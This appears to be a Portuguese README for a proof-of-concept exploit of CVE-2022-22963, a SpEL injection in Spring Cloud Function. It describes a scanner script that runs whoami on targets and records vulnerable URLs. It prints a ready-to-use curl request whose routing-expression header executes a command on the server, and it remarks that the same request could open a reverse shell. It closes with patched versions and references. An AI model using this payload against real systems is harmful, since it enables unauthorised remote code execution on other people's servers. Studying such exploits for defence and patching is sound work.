
Prova de conceito de exploit para CVE-2022-22963 (injeção SpEL no Spring Cloud Function) com script de detecção e geração de payload RCE baseada em curl.
CVE-2022-22963 PoC
Ligeiramente modificado para tradução para o inglês e detecção de https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py. Por padrão, o comando whoami é executado no alvo e um arquivo vulnerable.txt é criado com as URLs vulneráveis.
Explorar a vulnerabilidade é bastante fácil de realizar. Aqui está o comando curl para explorar a vulnerabilidade.
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
Com este curl, é trivial criar um arquivo no sistema operacional, mas ele poderia ser usado para abrir um shell reverso no host ou contêiner vulnerável.
Se você for afetado pelo CVE-2022-22963, você deve atualizar a aplicação para as versões mais recentes 3.1.7 e 3.2.3.
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52